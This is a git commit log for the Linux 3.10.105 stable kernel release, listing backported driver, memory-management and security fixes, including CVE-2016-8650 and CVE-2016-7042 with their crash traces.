commit ec55e7c2bf49a426b6f8204505bd267c77554d37
Author: Willy Tarreau <w@1wt.eu>
Date:   Fri Feb 10 11:14:46 2017 +0100

    Linux 3.10.105

commit 63d7f335d653b9a63ecf1f75f73c82f41870a7af
Author: Guenter Roeck <linux@roeck-us.net>
Date:   Fri Oct 7 10:40:59 2016 -0700

    metag: Only define atomic_dec_if_positive conditionally
    
    commit 35d04077ad96ed33ceea2501f5a4f1eacda77218 upstream.
    
    The definition of atomic_dec_if_positive() assumes that
    atomic_sub_if_positive() exists, which is only the case if
    metag specific atomics are used. This results in the following
    build error when trying to build metag1_defconfig.
    
    kernel/ucount.c: In function 'dec_ucount':
    kernel/ucount.c:211: error:
            implicit declaration of function 'atomic_sub_if_positive'
    
    Moving the definition of atomic_dec_if_positive() into the metag
    conditional code fixes the problem.
    
    Fixes: 6006c0d8ce94 ("metag: Atomics, locks and bitops")
    Signed-off-by: Guenter Roeck <linux@roeck-us.net>
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 16654a56f02b36e9377d991853227f598d3bdbf6
Author: Max Staudt <mstaudt@suse.de>
Date:   Mon Jun 13 19:15:59 2016 +0200

    fbdev/efifb: Fix 16 color palette entry calculation
    
    commit d50b3f43db739f03fcf8c0a00664b3d2fed0496e upstream.
    
    When using efifb with a 16-bit (5:6:5) visual, fbcon's text is rendered
    in the wrong colors - e.g. text gray (#aaaaaa) is rendered as green
    (#50bc50) and neighboring pixels have slightly different values
    (such as #50bc78).
    
    The reason is that fbcon loads its 16 color palette through
    efifb_setcolreg(), which in turn calculates a 32-bit value to write
    into memory for each palette index.
    Until now, this code could only handle 8-bit visuals and didn't mask
    overlapping values when ORing them.
    
    With this patch, fbcon displays the correct colors when a qemu VM is
    booted in 16-bit mode (in GRUB: "set gfxpayload=800x600x16").
    
    Fixes: 7c83172b98e5 ("x86_64 EFI boot support: EFI frame buffer driver")  # v2.6.24+
    Signed-off-by: Max Staudt <mstaudt@suse.de>
    Acked-By: Peter Jones <pjones@redhat.com>
    Signed-off-by: Tomi Valkeinen <tomi.valkeinen@ti.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit fa88cd790f2d6e1a0c506b1e38fe8e29080a1e53
Author: Bart Van Assche <bart.vanassche@sandisk.com>
Date:   Wed Aug 31 15:17:49 2016 -0700

    dm: mark request_queue dead before destroying the DM device
    
    commit 3b785fbcf81c3533772c52b717f77293099498d3 upstream.
    
    This avoids that new requests are queued while __dm_destroy() is in
    progress.
    
    [js] use md->queue instead of non-present helper
    
    Signed-off-by: Bart Van Assche <bart.vanassche@sandisk.com>
    Signed-off-by: Mike Snitzer <snitzer@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7fbbad139de7e3de9c88a8bbdd9f5671e2ae69ed
Author: Jan Remmet <j.remmet@phytec.de>
Date:   Fri Sep 23 10:52:00 2016 +0200

    regulator: tps65910: Work around silicon erratum SWCZ010
    
    commit 8f9165c981fed187bb483de84caf9adf835aefda upstream.
    
    http://www.ti.com/lit/pdf/SWCZ010:
      DCDC o/p voltage can go higher than programmed value
    
    Impact:
    VDDI, VDD2, and VIO output programmed voltage level can go higher than
    expected or crash, when coming out of PFM to PWM mode or using DVFS.
    
    Description:
    When DCDC CLK SYNC bits are 11/01:
    * VIO 3-MHz oscillator is the source clock of the digital core and input
      clock of VDD1 and VDD2
    * Turn-on of VDD1 and VDD2 HSD PFETis synchronized or at a constant
      phase shift
    * Current pulled though VCC1+VCC2 is Iload(VDD1) + Iload(VDD2)
    * The 3 HSD PFET will be turned-on at the same time, causing the highest
      possible switching noise on the application. This noise level depends
      on the layout, the VBAT level, and the load current. The noise level
      increases with improper layout.
    
    When DCDC CLK SYNC bits are 00:
    * VIO 3-MHz oscillator is the source clock of digital core
    * VDD1 and VDD2 are running on their own 3-MHz oscillator
    * Current pulled though VCC1+VCC2 average of Iload(VDD1) + Iload(VDD2)
    * The switching noise of the 3 SMPS will be randomly spread over time,
      causing lower overall switching noise.
    
    Workaround:
    Set DCDCCTRL_REG[1:0]= 00.
    
    Signed-off-by: Jan Remmet <j.remmet@phytec.de>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bc90bffda9c784885e35d53d077c6486c9ea1d2a
Author: Peter Ujfalusi <peter.ujfalusi@ti.com>
Date:   Tue Aug 23 10:27:19 2016 +0300

    ASoC: omap-mcpdm: Fix irq resource handling
    
    commit a8719670687c46ed2e904c0d05fa4cd7e4950cd1 upstream.
    
    Fixes: ddd17531ad908 ("ASoC: omap-mcpdm: Clean up with devm_* function")
    
    Managed irq request will not doing any good in ASoC probe level as it is
    not going to free up the irq when the driver is unbound from the sound
    card.
    
    Signed-off-by: Peter Ujfalusi <peter.ujfalusi@ti.com>
    Reported-by: Russell King <linux@armlinux.org.uk>
    Signed-off-by: Mark Brown <broonie@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a28d835844a523e0e0a96eb25b10a037b7662f1f
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Thu Aug 4 08:26:56 2016 +0300

    mfd: 88pm80x: Double shifting bug in suspend/resume
    
    commit 9a6dc644512fd083400a96ac4a035ac154fe6b8d upstream.
    
    set_bit() and clear_bit() take the bit number so this code is really
    doing "1 << (1 << irq)" which is a double shift bug.  It's done
    consistently so it won't cause a problem unless "irq" is more than 4.
    
    Fixes: 70c6cce04066 ('mfd: Support 88pm80x in 80x driver')
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Signed-off-by: Lee Jones <lee.jones@linaro.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 940d1175de7c31e8e2ac20489b7d2df4963bb4da
Author: Andrey Ryabinin <aryabinin@virtuozzo.com>
Date:   Thu Nov 24 13:23:10 2016 +0000

    mpi: Fix NULL ptr dereference in mpi_powm() [ver #3]
    
    commit f5527fffff3f002b0a6b376163613b82f69de073 upstream.
    
    This fixes CVE-2016-8650.
    
    If mpi_powm() is given a zero exponent, it wants to immediately return
    either 1 or 0, depending on the modulus.  However, if the result was
    initalised with zero limb space, no limbs space is allocated and a
    NULL-pointer exception ensues.
    
    Fix this by allocating a minimal amount of limb space for the result when
    the 0-exponent case when the result is 1 and not touching the limb space
    when the result is 0.
    
    This affects the use of RSA keys and X.509 certificates that carry them.
    
    BUG: unable to handle kernel NULL pointer dereference at           (null)
    IP: [<ffffffff8138ce5d>] mpi_powm+0x32/0x7e6
    PGD 0
    Oops: 0002 [#1] SMP
    Modules linked in:
    CPU: 3 PID: 3014 Comm: keyctl Not tainted 4.9.0-rc6-fscache+ #278
    Hardware name: ASUS All Series/H97-PLUS, BIOS 2306 10/09/2014
    task: ffff8804011944c0 task.stack: ffff880401294000
    RIP: 0010:[<ffffffff8138ce5d>]  [<ffffffff8138ce5d>] mpi_powm+0x32/0x7e6
    RSP: 0018:ffff880401297ad8  EFLAGS: 00010212
    RAX: 0000000000000000 RBX: ffff88040868bec0 RCX: ffff88040868bba0
    RDX: ffff88040868b260 RSI: ffff88040868bec0 RDI: ffff88040868bee0
    RBP: ffff880401297ba8 R08: 0000000000000000 R09: 0000000000000000
    R10: 0000000000000047 R11: ffffffff8183b210 R12: 0000000000000000
    R13: ffff8804087c7600 R14: 000000000000001f R15: ffff880401297c50
    FS:  00007f7a7918c700(0000) GS:ffff88041fb80000(0000) knlGS:0000000000000000
    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    CR2: 0000000000000000 CR3: 0000000401250000 CR4: 00000000001406e0
    Stack:
     ffff88040868bec0 0000000000000020 ffff880401297b00 ffffffff81376cd4
     0000000000000100 ffff880401297b10 ffffffff81376d12 ffff880401297b30
     ffffffff81376f37 0000000000000100 0000000000000000 ffff880401297ba8
    Call Trace:
     [<ffffffff81376cd4>] ? __sg_page_iter_next+0x43/0x66
     [<ffffffff81376d12>] ? sg_miter_get_next_page+0x1b/0x5d
     [<ffffffff81376f37>] ? sg_miter_next+0x17/0xbd
     [<ffffffff8138ba3a>] ? mpi_read_raw_from_sgl+0xf2/0x146
     [<ffffffff8132a95c>] rsa_verify+0x9d/0xee
     [<ffffffff8132acca>] ? pkcs1pad_sg_set_buf+0x2e/0xbb
     [<ffffffff8132af40>] pkcs1pad_verify+0xc0/0xe1
     [<ffffffff8133cb5e>] public_key_verify_signature+0x1b0/0x228
     [<ffffffff8133d974>] x509_check_for_self_signed+0xa1/0xc4
     [<ffffffff8133cdde>] x509_cert_parse+0x167/0x1a1
     [<ffffffff8133d609>] x509_key_preparse+0x21/0x1a1
     [<ffffffff8133c3d7>] asymmetric_key_preparse+0x34/0x61
     [<ffffffff812fc9f3>] key_create_or_update+0x145/0x399
     [<ffffffff812fe227>] SyS_add_key+0x154/0x19e
     [<ffffffff81001c2b>] do_syscall_64+0x80/0x191
     [<ffffffff816825e4>] entry_SYSCALL64_slow_path+0x25/0x25
    Code: 56 41 55 41 54 53 48 81 ec a8 00 00 00 44 8b 71 04 8b 42 04 4c 8b 67 18 45 85 f6 89 45 80 0f 84 b4 06 00 00 85 c0 75 2f 41 ff ce <49> c7 04 24 01 00 00 00 b0 01 75 0b 48 8b 41 18 48 83 38 01 0f
    RIP  [<ffffffff8138ce5d>] mpi_powm+0x32/0x7e6
     RSP <ffff880401297ad8>
    CR2: 0000000000000000
    ---[ end trace d82015255d4a5d8d ]---
    
    Basically, this is a backport of a libgcrypt patch:
    
            http://git.gnupg.org/cgi-bin/gitweb.cgi?p=libgcrypt.git;a=patch;h=6e1adb05d290aeeb1c230c763970695f4a538526
    
    Fixes: cdec9cb5167a ("crypto: GnuPG based MPI lib - source files (part 1)")
    Signed-off-by: Andrey Ryabinin <aryabinin@virtuozzo.com>
    Signed-off-by: David Howells <dhowells@redhat.com>
    cc: Dmitry Kasatkin <dmitry.kasatkin@gmail.com>
    cc: linux-ima-devel@lists.sourceforge.net
    Signed-off-by: James Morris <james.l.morris@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2c8c5e677787929594e6b9d5363737e9319ad1db
Author: Michael Walle <michael@walle.cc>
Date:   Tue Jul 19 16:43:26 2016 +0200

    hwmon: (adt7411) set bit 3 in CFG1 register
    
    commit b53893aae441a034bf4dbbad42fe218561d7d81f upstream.
    
    According to the datasheet you should only write 1 to this bit. If it is
    not set, at least AIN3 will return bad values on newer silicon revisions.
    
    Fixes: d84ca5b345c2 ("hwmon: Add driver for ADT7411 voltage and temperature sensor")
    Signed-off-by: Michael Walle <michael@walle.cc>
    Signed-off-by: Guenter Roeck <linux@roeck-us.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit ebee2e2f308f75e2bba58f6194fa39fce4ef9529
Author: Sergei Miroshnichenko <sergeimir@emcraft.com>
Date:   Wed Sep 7 16:51:12 2016 +0300

    can: dev: fix deadlock reported after bus-off
    
    commit 9abefcb1aaa58b9d5aa40a8bb12c87d02415e4c8 upstream.
    
    A timer was used to restart after the bus-off state, leading to a
    relatively large can_restart() executed in an interrupt context,
    which in turn sets up pinctrl. When this happens during system boot,
    there is a high probability of grabbing the pinctrl_list_mutex,
    which is locked already by the probe() of other device, making the
    kernel suspect a deadlock condition [1].
    
    To resolve this issue, the restart_timer is replaced by a delayed
    work.
    
    [1] https://github.com/victronenergy/venus/issues/24
    
    Signed-off-by: Sergei Miroshnichenko <sergeimir@emcraft.com>
    Signed-off-by: Marc Kleine-Budde <mkl@pengutronix.de>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3419dc516ec27ae51ca8b55a1436b3d1c484d877
Author: zhong jiang <zhongjiang@huawei.com>
Date:   Wed Sep 28 15:22:30 2016 -0700

    mm,ksm: fix endless looping in allocating memory when ksm enable
    
    commit 5b398e416e880159fe55eefd93c6588fa072cd66 upstream.
    
    I hit the following hung task when runing a OOM LTP test case with 4.1
    kernel.
    
    Call trace:
    [<ffffffc000086a88>] __switch_to+0x74/0x8c
    [<ffffffc000a1bae0>] __schedule+0x23c/0x7bc
    [<ffffffc000a1c09c>] schedule+0x3c/0x94
    [<ffffffc000a1eb84>] rwsem_down_write_failed+0x214/0x350
    [<ffffffc000a1e32c>] down_write+0x64/0x80
    [<ffffffc00021f794>] __ksm_exit+0x90/0x19c
    [<ffffffc0000be650>] mmput+0x118/0x11c
    [<ffffffc0000c3ec4>] do_exit+0x2dc/0xa74
    [<ffffffc0000c46f8>] do_group_exit+0x4c/0xe4
    [<ffffffc0000d0f34>] get_signal+0x444/0x5e0
    [<ffffffc000089fcc>] do_signal+0x1d8/0x450
    [<ffffffc00008a35c>] do_notify_resume+0x70/0x78
    
    The oom victim cannot terminate because it needs to take mmap_sem for
    write while the lock is held by ksmd for read which loops in the page
    allocator
    
    ksm_do_scan
            scan_get_next_rmap_item
                    down_read
                    get_next_rmap_item
                            alloc_rmap_item   #ksmd will loop permanently.
    
    There is no way forward because the oom victim cannot release any memory
    in 4.1 based kernel.  Since 4.6 we have the oom reaper which would solve
    this problem because it would release the memory asynchronously.
    Nevertheless we can relax alloc_rmap_item requirements and use
    __GFP_NORETRY because the allocation failure is acceptable as ksm_do_scan
    would just retry later after the lock got dropped.
    
    Such a patch would be also easy to backport to older stable kernels which
    do not have oom_reaper.
    
    While we are at it add GFP_NOWARN so the admin doesn't have to be alarmed
    by the allocation failure.
    
    Link: http://lkml.kernel.org/r/1474165570-44398-1-git-send-email-zhongjiang@huawei.com
    Signed-off-by: zhong jiang <zhongjiang@huawei.com>
    Suggested-by: Hugh Dickins <hughd@google.com>
    Suggested-by: Michal Hocko <mhocko@suse.cz>
    Acked-by: Michal Hocko <mhocko@suse.com>
    Acked-by: Hugh Dickins <hughd@google.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 46049e5ca6b3ef22c2a189a7815b849204483d92
Author: Mike Snitzer <snitzer@redhat.com>
Date:   Wed Aug 24 21:12:58 2016 -0400

    dm flakey: fix reads to be issued if drop_writes configured
    
    commit 299f6230bc6d0ccd5f95bb0fb865d80a9c7d5ccc upstream.
    
    v4.8-rc3 commit 99f3c90d0d ("dm flakey: error READ bios during the
    down_interval") overlooked the 'drop_writes' feature, which is meant to
    allow reads to be issued rather than errored, during the down_interval.
    
    Fixes: 99f3c90d0d ("dm flakey: error READ bios during the down_interval")
    Reported-by: Qu Wenruo <quwenruo@cn.fujitsu.com>
    Signed-off-by: Mike Snitzer <snitzer@redhat.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 04be31f5be113de38b80e307e3c6f8468f3ff25e
Author: Chris Metcalf <cmetcalf@mellanox.com>
Date:   Wed Nov 16 11:18:05 2016 -0500

    tile: avoid using clocksource_cyc2ns with absolute cycle count
    
    commit e658a6f14d7c0243205f035979d0ecf6c12a036f upstream.
    
    For large values of "mult" and long uptimes, the intermediate
    result of "cycles * mult" can overflow 64 bits.  For example,
    the tile platform calls clocksource_cyc2ns with a 1.2 GHz clock;
    we have mult = 853, and after 208.5 days, we overflow 64 bits.
    
    Since clocksource_cyc2ns() is intended to be used for relative
    cycle counts, not absolute cycle counts, performance is more
    importance than accepting a wider range of cycle values.  So,
    just use mult_frac() directly in tile's sched_clock().
    
    Commit 4cecf6d401a0 ("sched, x86: Avoid unnecessary overflow
    in sched_clock") by Salman Qazi results in essentially the same
    generated code for x86 as this change does for tile.  In fact,
    a follow-on change by Salman introduced mult_frac() and switched
    to using it, so the C code was largely identical at that point too.
    
    Peter Zijlstra then added mul_u64_u32_shr() and switched x86
    to use it.  This is, in principle, better; by optimizing the
    64x64->64 multiplies to be 32x32->64 multiplies we can potentially
    save some time.  However, the compiler piplines the 64x64->64
    multiplies pretty well, and the conditional branch in the generic
    mul_u64_u32_shr() causes some bubbles in execution, with the
    result that it's pretty much a wash.  If tilegx provided its own
    implementation of mul_u64_u32_shr() without the conditional branch,
    we could potentially save 3 cycles, but that seems like small gain
    for a fair amount of additional build scaffolding; no other platform
    currently provides a mul_u64_u32_shr() override, and tile doesn't
    currently have an <asm/div64.h> header to put the override in.
    
    Additionally, gcc currently has an optimization bug that prevents
    it from recognizing the opportunity to use a 32x32->64 multiply,
    and so the result would be no better than the existing mult_frac()
    until such time as the compiler is fixed.
    
    For now, just using mult_frac() seems like the right answer.
    
    Signed-off-by: Chris Metcalf <cmetcalf@mellanox.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 569d62a3b7863d47abffe328bfa54ac5ad0457bc
Author: Myron Stowe <myron.stowe@redhat.com>
Date:   Tue Feb 3 16:01:24 2015 -0700

    PCI: Handle read-only BARs on AMD CS553x devices
    
    commit 06cf35f903aa6da0cc8d9f81e9bcd1f7e1b534bb upstream.
    
    Some AMD CS553x devices have read-only BARs because of a firmware or
    hardware defect.  There's a workaround in quirk_cs5536_vsa(), but it no
    longer works after 36e8164882ca ("PCI: Restore detection of read-only
    BARs").  Prior to 36e8164882ca, we filled in res->start; afterwards we
    leave it zeroed out.  The quirk only updated the size, so the driver tried
    to use a region starting at zero, which didn't work.
    
    Expand quirk_cs5536_vsa() to read the base addresses from the BARs and
    hard-code the sizes.
    
    On Nix's system BAR 2's read-only value is 0x6200.  Prior to 36e8164882ca,
    we interpret that as a 512-byte BAR based on the lowest-order bit set.  Per
    datasheet sec 5.6.1, that BAR (MFGPT) requires only 64 bytes; use that to
    avoid clearing any address bits if a platform uses only 64-byte alignment.
    
    [js] pcibios_bus_to_resource takes pdev, not bus in 3.12
    
    [bhelgaas: changelog, reduce BAR 2 size to 64]
    Fixes: 36e8164882ca ("PCI: Restore detection of read-only BARs")
    Link: https://bugzilla.kernel.org/show_bug.cgi?id=85991#c4
    Link: http://support.amd.com/TechDocs/31506_cs5535_databook.pdf
    Link: http://support.amd.com/TechDocs/33238G_cs5536_db.pdf
    Reported-and-tested-by: Nix <nix@esperi.org.uk>
    Signed-off-by: Myron Stowe <myron.stowe@redhat.com>
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit bdb29c7b5260e76d5519d9fae0cfd6136c738821
Author: Punit Agrawal <punit.agrawal@arm.com>
Date:   Tue Oct 18 17:07:19 2016 +0100

    ACPI / APEI: Fix incorrect return value of ghes_proc()
    
    commit 806487a8fc8f385af75ed261e9ab658fc845e633 upstream.
    
    Although ghes_proc() tests for errors while reading the error status,
    it always return success (0). Fix this by propagating the return
    value.
    
    Fixes: d334a49113a4a33 (ACPI, APEI, Generic Hardware Error Source memory error support)
    Signed-of-by: Punit Agrawal <punit.agrawa.@arm.com>
    Tested-by: Tyler Baicar <tbaicar@codeaurora.org>
    Reviewed-by: Borislav Petkov <bp@suse.de>
    [ rjw: Subject ]
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 2ef72292774600e4b4e1b1dbddf8cba971c9efb3
Author: Alexander Usyskin <alexander.usyskin@intel.com>
Date:   Mon Oct 31 19:02:39 2016 +0200

    mei: bus: fix received data size check in NFC fixup
    
    commit 582ab27a063a506ccb55fc48afcc325342a2deba upstream.
    
    NFC version reply size checked against only header size, not against
    full message size. That may lead potentially to uninitialized memory access
    in version data.
    
    That leads to warnings when version data is accessed:
    drivers/misc/mei/bus-fixup.c: warning: '*((void *)&ver+11)' may be used uninitialized in this function [-Wuninitialized]:  => 212:2
    
    Reported in
    Build regressions/improvements in v4.9-rc3
    https://lkml.org/lkml/2016/10/30/57
    
    [js] the check is in 3.12 only once
    
    Fixes: 59fcd7c63abf (mei: nfc: Initial nfc implementation)
    Signed-off-by: Alexander Usyskin <alexander.usyskin@intel.com>
    Signed-off-by: Tomas Winkler <tomas.winkler@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0b0d4fc3fbb0f757ff9d84a9ca8508e060851e49
Author: Arnd Bergmann <arnd@arndb.de>
Date:   Mon Oct 24 17:22:01 2016 +0200

    staging: iio: ad5933: avoid uninitialized variable in error case
    
    commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 upstream.
    
    The ad5933_i2c_read function returns an error code to indicate
    whether it could read data or not. However ad5933_work() ignores
    this return code and just accesses the data unconditionally,
    which gets detected by gcc as a possible bug:
    
    drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work':
    drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized]
    
    This adds minimal error handling so we only evaluate the
    data if it was correctly read.
    
    Link: https://patchwork.kernel.org/patch/8110281/
    Signed-off-by: Arnd Bergmann <arnd@arndb.de>
    Acked-by: Lars-Peter Clausen <lars@metafoo.de>
    Signed-off-by: Jonathan Cameron <jic23@kernel.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c670aaed3eadc247e827f6ae21ea29a5c229deca
Author: Long Li <longli@microsoft.com>
Date:   Wed Oct 5 16:57:46 2016 -0700

    hv: do not lose pending heartbeat vmbus packets
    
    commit 407a3aee6ee2d2cb46d9ba3fc380bc29f35d020c upstream.
    
    The host keeps sending heartbeat packets independent of the
    guest responding to them.  Even though we respond to the heartbeat messages at
    interrupt level, we can have situations where there maybe multiple heartbeat
    messages pending that have not been responded to. For instance this occurs when the
    VM is paused and the host continues to send the heartbeat messages.
    Address this issue by draining and responding to all
    the heartbeat messages that maybe pending.
    
    Signed-off-by: Long Li <longli@microsoft.com>
    Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit b9eabdf01038d11a75b9361f71e86b857faaf404
Author: David Howells <dhowells@redhat.com>
Date:   Wed Oct 26 15:01:54 2016 +0100

    KEYS: Fix short sprintf buffer in /proc/keys show function
    
    commit 03dab869b7b239c4e013ec82aea22e181e441cfc upstream.
    
    This fixes CVE-2016-7042.
    
    Fix a short sprintf buffer in proc_keys_show().  If the gcc stack protector
    is turned on, this can cause a panic due to stack corruption.
    
    The problem is that xbuf[] is not big enough to hold a 64-bit timeout
    rendered as weeks:
    
            (gdb) p 0xffffffffffffffffULL/(60*60*24*7)
            $2 = 30500568904943
    
    That's 14 chars plus NUL, not 11 chars plus NUL.
    
    Expand the buffer to 16 chars.
    
    I think the unpatched code apparently works if the stack-protector is not
    enabled because on a 32-bit machine the buffer won't be overflowed and on a
    64-bit machine there's a 64-bit aligned pointer at one side and an int that
    isn't checked again on the other side.
    
    The panic incurred looks something like:
    
    Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ffffffff81352ebe
    CPU: 0 PID: 1692 Comm: reproducer Not tainted 4.7.2-201.fc24.x86_64 #1
    Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011
     0000000000000086 00000000fbbd2679 ffff8800a044bc00 ffffffff813d941f
     ffffffff81a28d58 ffff8800a044bc98 ffff8800a044bc88 ffffffff811b2cb6
     ffff880000000010 ffff8800a044bc98 ffff8800a044bc30 00000000fbbd2679
    Call Trace:
     [<ffffffff813d941f>] dump_stack+0x63/0x84
     [<ffffffff811b2cb6>] panic+0xde/0x22a
     [<ffffffff81352ebe>] ? proc_keys_show+0x3ce/0x3d0
     [<ffffffff8109f7f9>] __stack_chk_fail+0x19/0x30
     [<ffffffff81352ebe>] proc_keys_show+0x3ce/0x3d0
     [<ffffffff81350410>] ? key_validate+0x50/0x50
     [<ffffffff8134db30>] ? key_default_cmp+0x20/0x20
     [<ffffffff8126b31c>] seq_read+0x2cc/0x390
     [<ffffffff812b6b12>] proc_reg_read+0x42/0x70
     [<ffffffff81244fc7>] __vfs_read+0x37/0x150
     [<ffffffff81357020>] ? security_file_permission+0xa0/0xc0
     [<ffffffff81246156>] vfs_read+0x96/0x130
     [<ffffffff81247635>] SyS_read+0x55/0xc0
     [<ffffffff817eb872>] entry_SYSCALL_64_fastpath+0x1a/0xa4
    
    Reported-by: Ondrej Kozina <okozina@redhat.com>
    Signed-off-by: David Howells <dhowells@redhat.com>
    Tested-by: Ondrej Kozina <okozina@redhat.com>
    Signed-off-by: James Morris <james.l.morris@oracle.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a6e9fafcb75675947268fc121b81bc662023c522
Author: Jan Viktorin <viktorin@rehivetech.com>
Date:   Tue May 17 11:22:17 2016 +0200

    uio: fix dmem_region_start computation
    
    commit 4d31a2588ae37a5d0f61f4d956454e9504846aeb upstream.
    
    The variable i contains a total number of resources (including
    IORESOURCE_IRQ). However, we want the dmem_region_start to point
    after the last resource of type IORESOURCE_MEM. The original behaviour
    leads (very likely) to skipping several UIO mapping regions and makes
    them useless. Fix this by computing dmem_region_start from the uiomem
    which points to the last used UIO mapping.
    
    Fixes: 0a0c3b5a24bd ("Add new uio device for dynamic memory allocation")
    
    Signed-off-by: Jan Viktorin <viktorin@rehivetech.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 4499fcbdb808df1a8ad9cf16d1a33cfcc1a2c745
Author: Liu Gang <Gang.Liu@nxp.com>
Date:   Fri Oct 21 15:31:28 2016 +0800

    gpio: mpc8xxx: Correct irq handler function
    
    commit d71cf15b865bdd45925f7b094d169aaabd705145 upstream.
    
    From the beginning of the gpio-mpc8xxx.c, the "handle_level_irq"
    has being used to handle GPIO interrupts in the PowerPC/Layerscape
    platforms. But actually, almost all PowerPC/Layerscape platforms
    assert an interrupt request upon either a high-to-low change or
    any change on the state of the signal.
    
    So the "handle_level_irq" is not reasonable for PowerPC/Layerscape
    GPIO interrupt, it should be "handle_edge_irq". Otherwise the system
    may lost some interrupts from the PIN's state changes.
    
    Signed-off-by: Liu Gang <Gang.Liu@nxp.com>
    Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit dd22893297d519bb849a98bfe39a248a71c34c25
Author: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
Date:   Sun Sep 4 10:06:39 2016 -0300

    cx231xx: fix GPIOs for Pixelview SBTVD hybrid
    
    commit 24b923f073ac37eb744f56a2c7f77107b8219ab2 upstream.
    
    This device uses GPIOs: 28 to switch between analog and
    digital modes: on digital mode, it should be set to 1.
    
    The code that sets it on analog mode is OK, but it misses
    the logic that sets it on digital mode.
    
    Signed-off-by: Mauro Carvalho Chehab <mchehab@s-opensource.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 9865f08984e14a1cc9f40ecfd468d59c92e1f3ce
Author: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
Date:   Sun Sep 4 09:56:33 2016 -0300

    cx231xx: don't return error on success
    
    commit 1871d718a9db649b70f0929d2778dc01bc49b286 upstream.
    
    The cx231xx_set_agc_analog_digital_mux_select() callers
    expect it to return 0 or an error. Returning a positive value
    makes the first attempt to switch between analog/digital to fail.
    
    Signed-off-by: Mauro Carvalho Chehab <mchehab@s-opensource.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e3ba79c75a04914e3f398ac6bcda1b0c3b7fb787
Author: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
Date:   Sun Sep 4 10:43:53 2016 -0300

    mb86a20s: fix demod settings
    
    commit 505a0ea706fc1db4381baa6c6bd2e596e730a55e upstream.
    
    With the current settings, only one channel locks properly.
    That's likely because, when this driver was written, Brazil
    were still using experimental transmissions.
    
    Change it to reproduce the settings used by the newer drivers.
    That makes it lock on other channels.
    
    Tested with both PixelView SBTVD Hybrid (cx231xx-based) and
    C3Tech Digital Duo HDTV/SDTV (em28xx-based) devices.
    
    Signed-off-by: Mauro Carvalho Chehab <mchehab@s-opensource.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit e80cf277b9af15f9fa149501aba402b27b141e4d
Author: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
Date:   Sun Sep 4 10:16:18 2016 -0300

    mb86a20s: fix the locking logic
    
    commit dafb65fb98d85d8e78405e82c83e81975e5d5480 upstream.
    
    On this frontend, it takes a while to start output normal
    TS data. That only happens on state S9. On S8, the TS output
    is enabled, but it is not reliable enough.
    
    However, the zigzag loop is too fast to let it sync.
    
    As, on practical tests, the zigzag software loop doesn't
    seem to be helping, but just slowing down the tuning, let's
    switch to hardware algorithm, as the tuners used on such
    devices are capable of work with frequency drifts without
    any help from software.
    
    Signed-off-by: Mauro Carvalho Chehab <mchehab@s-opensource.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 8996ef00ef17c7e8460bca5785c5f08794d9f589
Author: Andrew Bresticker <abrestic@chromium.org>
Date:   Mon Feb 15 09:19:49 2016 +0100

    pstore/ram: Use memcpy_fromio() to save old buffer
    
    commit d771fdf94180de2bd811ac90cba75f0f346abf8d upstream.
    
    The ramoops buffer may be mapped as either I/O memory or uncached
    memory.  On ARM64, this results in a device-type (strongly-ordered)
    mapping.  Since unnaligned accesses to device-type memory will
    generate an alignment fault (regardless of whether or not strict
    alignment checking is enabled), it is not safe to use memcpy().
    memcpy_fromio() is guaranteed to only use aligned accesses, so use
    that instead.
    
    Signed-off-by: Andrew Bresticker <abrestic@chromium.org>
    Signed-off-by: Enric Balletbo Serra <enric.balletbo@collabora.com>
    Reviewed-by: Puneet Kumar <puneetster@chromium.org>
    Signed-off-by: Kees Cook <keescook@chromium.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0d29b98a434751a1b7c654d4e437883f3f27fe51
